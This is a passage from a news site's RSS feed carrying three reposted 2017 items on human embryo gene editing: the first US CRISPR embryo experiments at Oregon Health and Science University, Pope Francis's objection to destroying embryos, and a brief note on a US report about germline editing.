]]> https://briefnews.eu/first-editing-of-human-embryos-carried-out-in-united-states/feed/ 0 DNA of human embryos edited for 1st time in US – report https://briefnews.eu/dna-of-human-embryos-edited-for-1st-time-in-us-report/ https://briefnews.eu/dna-of-human-embryos-edited-for-1st-time-in-us-report/#respond Thu, 27 Jul 2017 04:17:43 +0000 http://briefnews.eu/dna-of-human-embryos-edited-for-1st-time-in-us-report/ A team of researchers in Oregon have become the first to attempt to create genetically modified human embryos in the United States. The team reportedly demonstrated they could eliminate diseases in offspring with CRISPR.

Led by Shoukhrat Mitalipov, a team of scientists at the Oregon Health and Science University used the CRISPR-Cas9 genome editing technology to alter human DNA in single-cell embryos, according to a report published Wednesday on the MIT Technology Review.

“So far as I know, this will be the first study reported in the US,” Jun Wu, a collaborator at the Salk Institute, told the MIT Technology Review.

The report claims that Mitalipov broke new ground “both in the number of embryos experimented upon and by demonstrating that it is possible to safely and efficiently correct defective genes that cause inherited diseases.”

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© Oleksiy Maksymenko

The team used donated sperm from men who carried inherited disease mutations to demonstrate that the genes can be corrected. Although the report said that “many tens” of embryos were created in the experiment, they were never intended to be implanted into a womb and were only allowed to develop for a few days.

To eradicate the disease, Mitalipov and his team used a process called “germline engineering,” in which genetically modified organisms pass changes to their offspring.

Earlier publications by scientists in China found that CRISPR caused editing errors known as “mosaicism,” in which some cells in the embryo did not take the desired changes. However, Mitalipov said his team was able to avoid mosaicism by injecting CRISPR into the eggs at the same time they were fertilized with sperm.

The technique was previously tested by Tony Perry, who was able to successfully edit the genes in mice to change the expected fur color of their offspring.

A scientist familiar with Mitalipov’s project said the tests were “proof of principle that it can work.”

“They significantly reduced mosaicism. I don’t think it’s the start of clinical trials yet, but it does take it further than anyone has before,” an unnamed scientist told the MIT Technology Review.

Mitalipov did not confirm the results of the test, telling the MIT Technology Review that they are still “pending publication.” However, if his research passes peer review it could be a significant step for scientists in the US.

Successfully editing genes in human embryos could theoretically lead to scientists being able to cure any number of diseases, including cancer.

To date, there have only been three previous reports of editing human embryos, all of which were published by scientists in China.

Federal regulations have barred scientists in the US from any efforts to turn an editing embryo into a baby. Many critics are worried that the practice could lead to “designer babies” that are engineered with genetic enhancements.

Last year, the Office of the Director of National Intelligence released a report that added genome editing to a list of weapons of mass destruction and proliferation, saying it “increases the risk of the creation of potentially harmful biological agents or products.”

In February, the US National Academy of Sciences released a report, endorsing the use of gene editing, but only for “serious conditions under stringent oversight.”

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RT – Daily news

]]> https://briefnews.eu/dna-of-human-embryos-edited-for-1st-time-in-us-report/feed/ 0 ‘No noble end’ can justify destroying human embryos – Pope Francis https://briefnews.eu/no-noble-end-can-justify-destroying-human-embryos-pope-francis/ https://briefnews.eu/no-noble-end-can-justify-destroying-human-embryos-pope-francis/#respond Fri, 19 May 2017 05:04:31 +0000 http://briefnews.eu/no-noble-end-can-justify-destroying-human-embryos-pope-francis/

Pope Francis has acknowledged the scientific research on genetic diseases, but stressed that destroying human embryos is unjustifiable. The controversial topic was brought up at an event aimed at raising awareness about an incurable genetic disorder.

“We know that no end, even a noble one like the expectation of a benefit for science, for other human beings or for society, can justify the destruction of human embryos,” the Pope said on Thursday at the Papal audience with families of those affected by Huntington’s disease.

“I encourage you to carry out [experiments] in ways that do not contribute to nourishing the ‘throwaway culture’ that sometimes creeps into the world of scientific research,” Francis added.

Thousands of people, including 150 suffering from Huntington’s, traveled to the Vatican to see the Pope, who personally greeted each of the affected people. Huntington’s disease is a genetic disorder, which makes the brain cells die, resulting in personality changes, mood swings, involuntary movements, unsteady gait and slurred speech.

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© Garry Moore

With some countries being less affected by Huntington’s, the fatal gene is 1,000 more prevalent in South America, where a social stigma still persists, leading to the isolation of the affected.

The Catholic Church is not the only branch of Christianity that has been vocally opposed to tampering with human embryos. The Russian Orthodox Church has been recently pushing for a criminalization of abortions in Russia, while some MPs have drafted bills limiting the abortion options for women, none of which have so far passed. At the same time, in the predominantly Catholic Republic of Ireland, where abortion is illegal unless it happens as part of the medical intervention to save a mother’s life, thousands have been demanding to decriminalize abortion in the view of tragic and controversial cases resulting from the denial of medical assistance due to the law.

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]]> https://briefnews.eu/no-noble-end-can-justify-destroying-human-embryos-pope-francis/feed/ 0 Scientists soften position on DNA editing of human eggs, sperm, embryos https://briefnews.eu/scientists-soften-position-on-dna-editing-of-human-eggs-sperm-embryos/ https://briefnews.eu/scientists-soften-position-on-dna-editing-of-human-eggs-sperm-embryos/#respond Tue, 14 Feb 2017 18:05:50 +0000 http://briefnews.eu/scientists-soften-position-on-dna-editing-of-human-eggs-sperm-embryos/ Designing Life

Although not ready yet, powerful gene editing tools may one day be used on human embryos, eggs and sperm to remove genes that cause inherited diseases, according to a report by U.S. scientists and ethicists released on Tuesday.

CBC | Health News

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